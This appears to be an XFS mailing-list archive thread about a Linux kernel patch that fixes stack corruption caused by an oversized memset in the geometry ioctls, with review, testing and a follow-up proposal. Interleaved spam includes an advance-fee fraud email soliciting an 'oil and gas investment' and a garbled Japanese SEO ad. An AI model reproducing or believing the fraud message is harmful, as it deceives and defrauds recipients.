From sandeen@sandeen.net Tue Mar 1 00:56:48 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_63 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p216umQT183209 for ; Tue, 1 Mar 2011 00:56:48 -0600 X-ASG-Debug-ID: 1298962777-5f5d00260000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.sandeen.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9F3AA30603E for ; Mon, 28 Feb 2011 22:59:37 -0800 (PST) Received: from mail.sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id dbKcQFxzXVTIYBj2 for ; Mon, 28 Feb 2011 22:59:37 -0800 (PST) Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (No client certificate requested) by mail.sandeen.net (Postfix) with ESMTP id DB63148FF01A; Tue, 1 Mar 2011 00:59:36 -0600 (CST) Message-ID: <4D6C9958.2040607@sandeen.net> Date: Tue, 01 Mar 2011 00:59:36 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13) Gecko/20101207 Thunderbird/3.1.7 MIME-Version: 1.0 To: Jeffrey Hundstad CC: Dan Rosenberg , Eugene Teo , xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH V2] xfs: zero proper structure size for geometry calls Subject: [PATCH V2] xfs: zero proper structure size for geometry calls References: <4D6C28A5.60905@mnsu.edu> <4D6C4DEE.6020902@sandeen.net> In-Reply-To: <4D6C4DEE.6020902@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1298962777 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean commit 493f3358cb289ccf716c5a14fa5bb52ab75943e5 added: + memset(geo, 0, sizeof(*geo)); but unfortunately we're dealing with a cast pointer here, and the caller may actually have a smaller structure on the stack. Zeroing out more leads to stack corruption traps: Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: f87aca93 Pid: 262, comm: xfs_fsr Not tainted 2.6.38-rc6-493f3358cb2+ #1 Call Trace: [] ? panic+0x50/0x150 [] ? __stack_chk_fail+0x10/0x18 [] ? xfs_ioc_fsgeometry_v1+0x56/0x5d [xfs] Fix this by zeroing out the structure in the callers, where we know the actual size. Reported-by: Jeffrey Hundstad Signed-off-by: Eric Sandeen --- V2: Use sizeof (variable) not sizeof (type) diff --git a/fs/xfs/linux-2.6/xfs_ioctl.c b/fs/xfs/linux-2.6/xfs_ioctl.c index f5e2a19..871e5f0 100644 --- a/fs/xfs/linux-2.6/xfs_ioctl.c +++ b/fs/xfs/linux-2.6/xfs_ioctl.c @@ -698,6 +698,7 @@ xfs_ioc_fsgeometry_v1( xfs_fsop_geom_v1_t fsgeo; int error; + memset(&fsgeo, 0, sizeof(fsgeo)); error = xfs_fs_geometry(mp, (xfs_fsop_geom_t *)&fsgeo, 3); if (error) return -error; @@ -715,6 +716,7 @@ xfs_ioc_fsgeometry( xfs_fsop_geom_t fsgeo; int error; + memset(&fsgeo, 0, sizeof(fsgeo)); error = xfs_fs_geometry(mp, &fsgeo, 4); if (error) return -error; diff --git a/fs/xfs/linux-2.6/xfs_ioctl32.c b/fs/xfs/linux-2.6/xfs_ioctl32.c index b3486df..f25d38e 100644 --- a/fs/xfs/linux-2.6/xfs_ioctl32.c +++ b/fs/xfs/linux-2.6/xfs_ioctl32.c @@ -73,6 +73,7 @@ xfs_compat_ioc_fsgeometry_v1( xfs_fsop_geom_t fsgeo; int error; + memset(&fsgeo, 0, sizeof(fsgeo)); error = xfs_fs_geometry(mp, &fsgeo, 3); if (error) return -error; diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index 85668ef..cec89dd 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -53,9 +53,6 @@ xfs_fs_geometry( xfs_fsop_geom_t *geo, int new_version) { - - memset(geo, 0, sizeof(*geo)); - geo->blocksize = mp->m_sb.sb_blocksize; geo->rtextsize = mp->m_sb.sb_rextsize; geo->agblocks = mp->m_sb.sb_agblocks; From info@yukos.net Tue Mar 1 05:24:04 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.5 required=5.0 tests=BAYES_95,SUBJ_ALL_CAPS autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p21BO4nq196004 for ; Tue, 1 Mar 2011 05:24:04 -0600 X-ASG-Debug-ID: 1298978812-59f703780000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from admin.nni.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 0AF00306A32 for ; Tue, 1 Mar 2011 03:26:52 -0800 (PST) Received: from admin.nni.com (admin.nni.com [216.107.0.100]) by cuda.sgi.com with ESMTP id gCdev4CRwEhF0cV2 for ; Tue, 01 Mar 2011 03:26:52 -0800 (PST) Received: from [82.128.105.96] (account auctioneer@nni.com HELO [82.128.105.96]) by admin.nni.com (CommuniGate Pro SMTP 4.1.8) with ESMTP id 351611686; Tue, 01 Mar 2011 06:26:44 -0500 Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body X-ASG-Orig-Subj: BUSINESS PROPOSAL Subject: BUSINESS PROPOSAL To: Recipients From: "Sergei Lavochkin" Date: Tue, 01 Mar 2011 12:26:02 +0100 Reply-To: infosergeilavochkin@gmail.com Message-ID: X-Barracuda-Connect: admin.nni.com[216.107.0.100] X-Barracuda-Start-Time: 1298978813 X-Barracuda-Bayes: INNOCENT GLOBAL 0.4997 1.0000 0.0000 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=ADVANCE_FEE_1, BSF_SC0_SA_TO_FROM_ADDR_MATCH X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56734 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean I am Sergei Lavochkin former associate and personal assistance to Platon Le= bedev director of Group MENATEP, a holding company with diversified assets = of $20 billion, primarily in oil and gas, mineral fertilizers, telecommunic= ations and information technologies, and banking and financial services. Gr= oup MENATEP was the majority shareholder of YUKOS. www.khodorkovskycenter.com/...lebedev/about-platon-lebedev The Russian businessman was arrested in 2003 on charges of fraud and sente= nced to eight years in a Siberian prison colony in 2005. A new trial of him= and his Yukos partner Khodorkovsky Russia richest man began in March last = year after prosecutors laid fresh charges against them. I am presently exile in one of the leading European countries due to threat= from president Dmitry Medvedev and Russia's prime minister, Vladimir Putti= ng recently to arrest relatives and former associates of both men, contact = me for an oil and gas investment offer as I intend settling down and reloca= te my family I can be reached on my private web mail (infosergeilavochkin@g= mail.com) free Emails aren't always secure, and they may be intercepted or = changed after they've been sent An arrest has been applied to the territory where we live there are no men= there, no complete families," "The people who lived in the settlement have= scattered to different countries, and two of them are in prison. Political analysts believe the Kremlin wants to ensure Khodorkovsky and Pla= toon Lebedev is not released in the run up to the 2012 presidential electio= ns. Platon Lebedev's case is politically motivated, and his arrest and prosecut= ion were widely perceived to have been a warning to Khodorkovsky, as well a= s a means for the government to facilitate the expropriation of Russia 's o= il and gas industry. Lebedev's ordeal has been replete with violations of t= he most basic human rights. If convicted, the tycoon could spend another six years in jail after his c= urrent sentence expires in October 2011,hence he wants me to invest his fun= ds in a foreign land and also ensure I personally handle his finance and fa= mily until his ordeal is over. Do contact me and let me elaborate on the investment proposal. Thanks in anticipation, Sergei Lavochkin infosergeilavochkin@gmail.com Note: If you've received this email and you are not interested then destroy= it without copying, using, or telling anyone bout its contents please for = the security of my family.=20 From drosenberg@vsecurity.com Tue Mar 1 06:52:46 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_63 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p21CqkId199232 for ; Tue, 1 Mar 2011 06:52:46 -0600 X-ASG-Debug-ID: 1298984134-0e1401d60000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.vsecurity.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 0C6C51DDC926 for ; Tue, 1 Mar 2011 04:55:34 -0800 (PST) Received: from mx1.vsecurity.com (mx1.vsecurity.com [209.67.252.12]) by cuda.sgi.com with ESMTP id XJg645cGSLDW6V0v for ; Tue, 01 Mar 2011 04:55:34 -0800 (PST) Received: (qmail 82972 invoked from network); 1 Mar 2011 12:55:33 -0000 Received: from c-98-229-66-118.hsd1.ma.comcast.net (HELO [192.168.1.144]) (drosenbe@[98.229.66.118]) (envelope-sender ) by mx1.vsecurity.com (qmail-ldap-1.03) with SMTP for ; 1 Mar 2011 12:55:33 -0000 X-ASG-Orig-Subj: Re: [PATCH V2] xfs: zero proper structure size for geometry calls Subject: Re: [PATCH V2] xfs: zero proper structure size for geometry calls From: Dan Rosenberg To: Eric Sandeen Cc: Jeffrey Hundstad , Eugene Teo , xfs@oss.sgi.com In-Reply-To: <4D6C9958.2040607@sandeen.net> References: <4D6C28A5.60905@mnsu.edu> <4D6C4DEE.6020902@sandeen.net> <4D6C9958.2040607@sandeen.net> Content-Type: text/plain; charset="UTF-8" Date: Tue, 01 Mar 2011 07:55:32 -0500 Message-ID: <1298984132.32568.3.camel@dan> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mx1.vsecurity.com[209.67.252.12] X-Barracuda-Start-Time: 1298984135 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56740 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, 2011-03-01 at 00:59 -0600, Eric Sandeen wrote: > commit 493f3358cb289ccf716c5a14fa5bb52ab75943e5 added: > > + memset(geo, 0, sizeof(*geo)); > > but unfortunately we're dealing with a cast pointer here, and > the caller may actually have a smaller structure on the stack. > Zeroing out more leads to stack corruption traps: > > Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: f87aca93 > > Pid: 262, comm: xfs_fsr Not tainted 2.6.38-rc6-493f3358cb2+ #1 > Call Trace: > > [] ? panic+0x50/0x150 > [] ? __stack_chk_fail+0x10/0x18 > [] ? xfs_ioc_fsgeometry_v1+0x56/0x5d [xfs] > > Fix this by zeroing out the structure in the callers, where we know > the actual size. Thanks for catching this early, and sorry for the misstep. Reviewed-by: Dan Rosenberg > > Reported-by: Jeffrey Hundstad > Signed-off-by: Eric Sandeen > --- > > V2: Use sizeof (variable) not sizeof (type) > > diff --git a/fs/xfs/linux-2.6/xfs_ioctl.c b/fs/xfs/linux-2.6/xfs_ioctl.c > index f5e2a19..871e5f0 100644 > --- a/fs/xfs/linux-2.6/xfs_ioctl.c > +++ b/fs/xfs/linux-2.6/xfs_ioctl.c > @@ -698,6 +698,7 @@ xfs_ioc_fsgeometry_v1( > xfs_fsop_geom_v1_t fsgeo; > int error; > > + memset(&fsgeo, 0, sizeof(fsgeo)); > error = xfs_fs_geometry(mp, (xfs_fsop_geom_t *)&fsgeo, 3); > if (error) > return -error; > @@ -715,6 +716,7 @@ xfs_ioc_fsgeometry( > xfs_fsop_geom_t fsgeo; > int error; > > + memset(&fsgeo, 0, sizeof(fsgeo)); > error = xfs_fs_geometry(mp, &fsgeo, 4); > if (error) > return -error; > diff --git a/fs/xfs/linux-2.6/xfs_ioctl32.c b/fs/xfs/linux-2.6/xfs_ioctl32.c > index b3486df..f25d38e 100644 > --- a/fs/xfs/linux-2.6/xfs_ioctl32.c > +++ b/fs/xfs/linux-2.6/xfs_ioctl32.c > @@ -73,6 +73,7 @@ xfs_compat_ioc_fsgeometry_v1( > xfs_fsop_geom_t fsgeo; > int error; > > + memset(&fsgeo, 0, sizeof(fsgeo)); > error = xfs_fs_geometry(mp, &fsgeo, 3); > if (error) > return -error; > diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c > index 85668ef..cec89dd 100644 > --- a/fs/xfs/xfs_fsops.c > +++ b/fs/xfs/xfs_fsops.c > @@ -53,9 +53,6 @@ xfs_fs_geometry( > xfs_fsop_geom_t *geo, > int new_version) > { > - > - memset(geo, 0, sizeof(*geo)); > - > geo->blocksize = mp->m_sb.sb_blocksize; > geo->rtextsize = mp->m_sb.sb_rextsize; > geo->agblocks = mp->m_sb.sb_agblocks; From info1@kei.net Tue Mar 1 07:50:09 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.0 required=5.0 tests=BAYES_99 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p21Do8oa202736 for ; Tue, 1 Mar 2011 07:50:09 -0600 X-ASG-Debug-ID: 1298987576-511b03590000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from wp009.wappy.ne.jp (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id EF350157AFE0 for ; Tue, 1 Mar 2011 05:52:57 -0800 (PST) Received: from wp009.wappy.ne.jp (wp009.wappy.ne.jp [202.218.228.109]) by cuda.sgi.com with ESMTP id kC8BjpCbCtYfi7MA for ; Tue, 01 Mar 2011 05:52:57 -0800 (PST) Received: (qmail 17645 invoked from network); 1 Mar 2011 22:52:54 +0900 Received: from 125-14-37-244.rev.home.ne.jp (HELO kei-PC) (125.14.37.244) by sunkids.co.jp with SMTP; 1 Mar 2011 22:52:54 +0900 From: keinet To: xfs@oss.sgi.com X-ASG-Orig-Subj: =?iso-2022-jp?B?GyRCIVo4ITp3PmUwTCRON2hEakhHIVsbKEIxMDAwGyRCJTUlJCVIJCskaSROSG8laiVzJS8kRyMxS3wxXyEqGyhC?= Subject: =?iso-2022-jp?B?GyRCIVo4ITp3PmUwTCRON2hEakhHIVsbKEIxMDAwGyRCJTUlJCVIJCskaSROSG8laiVzJS8kRyMxS3wxXyEqGyhC?= Content-Type: text/plain; charset="iso-2022-jp" MIME-Version: 1.0 Date: Tue, 01 Mar 2011 20:30:17 +0900 X-Barracuda-Connect: wp009.wappy.ne.jp[202.218.228.109] X-Barracuda-Start-Time: 1298987577 Message-Id: <20110301135257.EF350157AFE0@cuda.sgi.com> X-Barracuda-Bayes: INNOCENT GLOBAL 0.6595 1.0000 1.0824 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: 1.72 X-Barracuda-Spam-Status: No, SCORE=1.72 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=BSF_RULE7568M, BSF_SC0_MISSING_MID, ISO2022JP_CHARSET X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56743 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 ISO2022JP_CHARSET ISO-2022-JP message 0.14 BSF_SC0_MISSING_MID BODY: Custom Rule BSF_SC0_MISSING_MID 0.50 BSF_RULE7568M Custom Rule 7568M X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Web$B$4C4EveB??t(BIP$BJ,;6$NEPO?Be9T$rCW$7$F$*$j$^$9!#(B $B"((BSEO$BBP:v6H%j%s%/$G1?1D$7$F$$$^$9$N$G(BYahoo!$B$d(BGoogle$B$J$I$N8!:w%(%s%8%s$h$jHo%j%s%/$NG'<1$,\:Y$O@'Hs(B keinet(http://kei.net/)$B$r$4MwD:$1$?$i9,?S$G$9!#(B $B$*Ld9g$;$K$D$-$^$7$F$O!"J@%5%$%H$N!V(BSEO$B30ItBP:v$K$D$$$F!W!V(BQ&A($B$h$/$"$k$4e!"$h$m$7$/$*4j$$?=$7>e$2$^$9!#(B $B%(%U%(%L%(%9(B keinet$BEPO?Be9T(B $BH/9T5G'9-9p%a!<%kG[?.Dd;_$r$44uK>$NJ}$O!"$*l9g$,8f:B$$$^$9$N$G!"M=$a$4N;>54j$$$^$9!#(B From jeffrey.hundstad@mnsu.edu Tue Mar 1 09:35:11 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_63 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p21FZB3g206665 for ; Tue, 1 Mar 2011 09:35:11 -0600 X-ASG-Debug-ID: 1298993880-447c021b0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.mnsu.edu (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id B52F0307628 for ; Tue, 1 Mar 2011 07:38:00 -0800 (PST) Received: from mail.mnsu.edu (Mail.MNSU.EDU [134.29.1.12]) by cuda.sgi.com with ESMTP id QH0B0SYCrGxzFzF6 for ; Tue, 01 Mar 2011 07:38:00 -0800 (PST) Received: from [134.29.32.1] (j3gum-3.ITS.MNSU.EDU [134.29.32.1]) by mail.mnsu.edu (8.13.7/8.13.7) with ESMTP id p21FaibW014328 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO); Tue, 1 Mar 2011 09:36:45 -0600 Message-ID: <4D6D128C.6010503@mnsu.edu> Date: Tue, 01 Mar 2011 09:36:44 -0600 From: Jeffrey Hundstad User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20101227 Icedove/3.0.11 MIME-Version: 1.0 To: Dan Rosenberg CC: Eric Sandeen , Eugene Teo , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH V2] xfs: zero proper structure size for geometry calls Subject: Re: [PATCH V2] xfs: zero proper structure size for geometry calls References: <4D6C28A5.60905@mnsu.edu> <4D6C4DEE.6020902@sandeen.net> <4D6C9958.2040607@sandeen.net> <1298984132.32568.3.camel@dan> In-Reply-To: <1298984132.32568.3.camel@dan> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: Mail.MNSU.EDU[134.29.1.12] X-Barracuda-Start-Time: 1298993880 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56750 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On 03/01/2011 06:55 AM, Dan Rosenberg wrote: > On Tue, 2011-03-01 at 00:59 -0600, Eric Sandeen wrote: > >> commit 493f3358cb289ccf716c5a14fa5bb52ab75943e5 added: >> >> + memset(geo, 0, sizeof(*geo)); >> >> but unfortunately we're dealing with a cast pointer here, and >> the caller may actually have a smaller structure on the stack. >> Zeroing out more leads to stack corruption traps: >> >> Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: f87aca93 >> >> Pid: 262, comm: xfs_fsr Not tainted 2.6.38-rc6-493f3358cb2+ #1 >> Call Trace: >> >> [] ? panic+0x50/0x150 >> [] ? __stack_chk_fail+0x10/0x18 >> [] ? xfs_ioc_fsgeometry_v1+0x56/0x5d [xfs] >> >> Fix this by zeroing out the structure in the callers, where we know >> the actual size. >> > Thanks for catching this early, and sorry for the misstep. > > Reviewed-by: Dan Rosenberg > > >> Reported-by: Jeffrey Hundstad >> Signed-off-by: Eric Sandeen >> --- >> >> V2: Use sizeof (variable) not sizeof (type) >> >> diff --git a/fs/xfs/linux-2.6/xfs_ioctl.c b/fs/xfs/linux-2.6/xfs_ioctl.c >> index f5e2a19..871e5f0 100644 >> --- a/fs/xfs/linux-2.6/xfs_ioctl.c >> +++ b/fs/xfs/linux-2.6/xfs_ioctl.c >> @@ -698,6 +698,7 @@ xfs_ioc_fsgeometry_v1( >> xfs_fsop_geom_v1_t fsgeo; >> int error; >> >> + memset(&fsgeo, 0, sizeof(fsgeo)); >> error = xfs_fs_geometry(mp, (xfs_fsop_geom_t *)&fsgeo, 3); >> if (error) >> return -error; >> @@ -715,6 +716,7 @@ xfs_ioc_fsgeometry( >> xfs_fsop_geom_t fsgeo; >> int error; >> >> + memset(&fsgeo, 0, sizeof(fsgeo)); >> error = xfs_fs_geometry(mp,&fsgeo, 4); >> if (error) >> return -error; >> diff --git a/fs/xfs/linux-2.6/xfs_ioctl32.c b/fs/xfs/linux-2.6/xfs_ioctl32.c >> index b3486df..f25d38e 100644 >> --- a/fs/xfs/linux-2.6/xfs_ioctl32.c >> +++ b/fs/xfs/linux-2.6/xfs_ioctl32.c >> @@ -73,6 +73,7 @@ xfs_compat_ioc_fsgeometry_v1( >> xfs_fsop_geom_t fsgeo; >> int error; >> >> + memset(&fsgeo, 0, sizeof(fsgeo)); >> error = xfs_fs_geometry(mp,&fsgeo, 3); >> if (error) >> return -error; >> diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c >> index 85668ef..cec89dd 100644 >> --- a/fs/xfs/xfs_fsops.c >> +++ b/fs/xfs/xfs_fsops.c >> @@ -53,9 +53,6 @@ xfs_fs_geometry( >> xfs_fsop_geom_t *geo, >> int new_version) >> { >> - >> - memset(geo, 0, sizeof(*geo)); >> - >> geo->blocksize = mp->m_sb.sb_blocksize; >> geo->rtextsize = mp->m_sb.sb_rextsize; >> geo->agblocks = mp->m_sb.sb_agblocks; >> > > Hello, I confirm that this patch DOES FIX the problem I was seeing with xfs_fsr that caused a hit on the stack-protector. Thanks for your hard work! Tested-by: Jeffrey Hundstad -- Jeffrey Hundstad From sandeen@sandeen.net Tue Mar 1 09:46:28 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p21FkSkt207152 for ; Tue, 1 Mar 2011 09:46:28 -0600 X-ASG-Debug-ID: 1298994556-272303710000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.sandeen.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id D3E9C307FB5 for ; Tue, 1 Mar 2011 07:49:16 -0800 (PST) Received: from mail.sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id hgSU7q1zIA0qkxOQ for ; Tue, 01 Mar 2011 07:49:16 -0800 (PST) Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (No client certificate requested) by mail.sandeen.net (Postfix) with ESMTP id DDF7C48F6E20; Tue, 1 Mar 2011 09:49:15 -0600 (CST) Message-ID: <4D6D157B.9070800@sandeen.net> Date: Tue, 01 Mar 2011 09:49:15 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13) Gecko/20101207 Thunderbird/3.1.7 MIME-Version: 1.0 To: Jeffrey Hundstad CC: Dan Rosenberg , Eugene Teo , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH V2] xfs: zero proper structure size for geometry calls Subject: Re: [PATCH V2] xfs: zero proper structure size for geometry calls References: <4D6C28A5.60905@mnsu.edu> <4D6C4DEE.6020902@sandeen.net> <4D6C9958.2040607@sandeen.net> <1298984132.32568.3.camel@dan> <4D6D128C.6010503@mnsu.edu> In-Reply-To: <4D6D128C.6010503@mnsu.edu> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1298994556 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56750 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On 3/1/11 9:36 AM, Jeffrey Hundstad wrote: > Hello, > > I confirm that this patch DOES FIX the problem I was seeing with xfs_fsr that caused a hit on the stack-protector. > > Thanks for your hard work! > > Tested-by: Jeffrey Hundstad > Thanks for narrowing it down to 1 commit :) -Eric From aelder@sgi.com Tue Mar 1 11:47:18 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_63 autolearn=no version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p21HlIpp211666 for ; Tue, 1 Mar 2011 11:47:18 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id B16C1AC006; Tue, 1 Mar 2011 09:50:01 -0800 (PST) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 1 Mar 2011 11:50:01 -0600 Subject: [PATCH, V3 (sort of)] xfs: zero proper structure size for geometry calls From: Alex Elder Reply-To: aelder@sgi.com To: Eric Sandeen Cc: Jeffrey Hundstad , Dan Rosenberg , Eugene Teo , xfs@oss.sgi.com In-Reply-To: <4D6D157B.9070800@sandeen.net> References: <4D6C28A5.60905@mnsu.edu> <4D6C4DEE.6020902@sandeen.net> <4D6C9958.2040607@sandeen.net> <1298984132.32568.3.camel@dan> <4D6D128C.6010503@mnsu.edu> <4D6D157B.9070800@sandeen.net> Content-Type: text/plain; charset="UTF-8" Date: Tue, 01 Mar 2011 11:50:00 -0600 Message-ID: <1299001800.2381.10.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 01 Mar 2011 17:50:01.0106 (UTC) FILETIME=[166B5720:01CBD839] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean I'm sorry to muddy the waters with this. But I think the proposed patch fixes the wrong problem. Having xfs_fs_geometry() zero its argument is fine--it defines an interface and honors it. The real problem lies in xfs_ioc_fsgeometry_v1(), which violates that interface by passing the address of an object that's not the 